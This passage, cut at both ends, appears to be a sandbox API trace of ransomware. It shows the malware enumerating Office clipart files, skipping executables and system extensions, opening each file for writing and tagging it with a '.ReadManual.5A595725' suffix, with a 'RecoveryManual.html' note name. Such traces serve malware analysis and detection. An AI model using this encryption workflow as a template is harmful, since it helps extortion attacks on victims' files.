Office\\CLIPART\\PUB60COR\\J0099160.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ReadManual.5A595725" [0265.472] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.ReadManual.5A595725") returned 87 [0265.472] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38614072623) returned 1 [0265.472] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0265.473] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.473] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15145) returned 1 [0265.473] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b29, lpName=0x0) returned 0x184 [0265.473] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.474] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.474] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.476] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.476] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b29) returned 0x2f0000 [0265.476] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.476] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38614485415) returned 1 [0265.476] CloseHandle (hObject=0x184) returned 1 [0265.476] SetSecurityInfo () returned 0x57 [0265.476] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.476] CloseHandle (hObject=0x194) returned 1 [0265.476] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0265.476] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099161.JPG" | out: lpString1="J0099161.JPG") returned="J0099161.JPG" [0265.476] lstrcmpiW (lpString1="J0099161.JPG", lpString2="RecoveryManual.html") returned -1 [0265.476] StrStrIW (lpFirst="J0099161.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.477] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.477] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.477] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.477] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" [0265.477] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ReadManual.5A595725" [0265.477] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.ReadManual.5A595725") returned 87 [0265.477] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38614578443) returned 1 [0265.477] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0265.477] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.477] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7154) returned 1 [0265.477] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bf2, lpName=0x0) returned 0x184 [0265.478] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.478] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.478] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.480] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.480] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bf2) returned 0x2f0000 [0265.480] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.480] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38614890513) returned 1 [0265.480] CloseHandle (hObject=0x184) returned 1 [0265.480] SetSecurityInfo () returned 0x57 [0265.480] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.480] CloseHandle (hObject=0x194) returned 1 [0265.480] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0265.480] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099162.JPG" | out: lpString1="J0099162.JPG") returned="J0099162.JPG" [0265.481] lstrcmpiW (lpString1="J0099162.JPG", lpString2="RecoveryManual.html") returned -1 [0265.481] StrStrIW (lpFirst="J0099162.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.481] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.481] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.481] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.481] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" [0265.481] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ReadManual.5A595725" [0265.481] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.ReadManual.5A595725") returned 87 [0265.481] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38614983973) returned 1 [0265.481] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0265.481] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.481] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19656) returned 1 [0265.482] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cc8, lpName=0x0) returned 0x184 [0265.482] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.482] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.482] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.484] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.484] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cc8) returned 0x2f0000 [0265.484] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38615316129) returned 1 [0265.484] CloseHandle (hObject=0x184) returned 1 [0265.484] SetSecurityInfo () returned 0x57 [0265.485] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.485] CloseHandle (hObject=0x194) returned 1 [0265.485] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0265.485] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099163.WMF" | out: lpString1="J0099163.WMF") returned="J0099163.WMF" [0265.485] lstrcmpiW (lpString1="J0099163.WMF", lpString2="RecoveryManual.html") returned -1 [0265.485] StrStrIW (lpFirst="J0099163.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.485] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.485] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.485] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" [0265.485] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ReadManual.5A595725" [0265.485] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.ReadManual.5A595725") returned 87 [0265.485] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38615413110) returned 1 [0265.485] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0265.486] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.486] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22356) returned 1 [0265.486] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5754, lpName=0x0) returned 0x184 [0265.486] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.487] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.488] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.489] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5754) returned 0x2f0000 [0265.489] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.489] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38615785446) returned 1 [0265.489] CloseHandle (hObject=0x184) returned 1 [0265.489] SetSecurityInfo () returned 0x57 [0265.489] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.489] CloseHandle (hObject=0x194) returned 1 [0265.489] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0265.489] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099164.WMF" | out: lpString1="J0099164.WMF") returned="J0099164.WMF" [0265.489] lstrcmpiW (lpString1="J0099164.WMF", lpString2="RecoveryManual.html") returned -1 [0265.489] StrStrIW (lpFirst="J0099164.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.490] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.490] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.490] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" [0265.490] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ReadManual.5A595725" [0265.490] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.ReadManual.5A595725") returned 87 [0265.490] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38615876191) returned 1 [0265.490] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0265.491] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.491] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21946) returned 1 [0265.491] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55ba, lpName=0x0) returned 0x184 [0265.491] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.492] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.492] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.494] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.494] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55ba) returned 0x2f0000 [0265.494] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38616299412) returned 1 [0265.494] CloseHandle (hObject=0x184) returned 1 [0265.494] SetSecurityInfo () returned 0x57 [0265.494] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.494] CloseHandle (hObject=0x194) returned 1 [0265.495] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0265.495] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099165.JPG" | out: lpString1="J0099165.JPG") returned="J0099165.JPG" [0265.495] lstrcmpiW (lpString1="J0099165.JPG", lpString2="RecoveryManual.html") returned -1 [0265.495] StrStrIW (lpFirst="J0099165.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.495] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.495] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.495] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.495] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" [0265.495] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ReadManual.5A595725" [0265.495] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.ReadManual.5A595725") returned 87 [0265.495] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38616394158) returned 1 [0265.495] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20 [0265.495] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.496] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=50490) returned 1 [0265.496] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc53a, lpName=0x0) returned 0x184 [0265.496] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.496] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 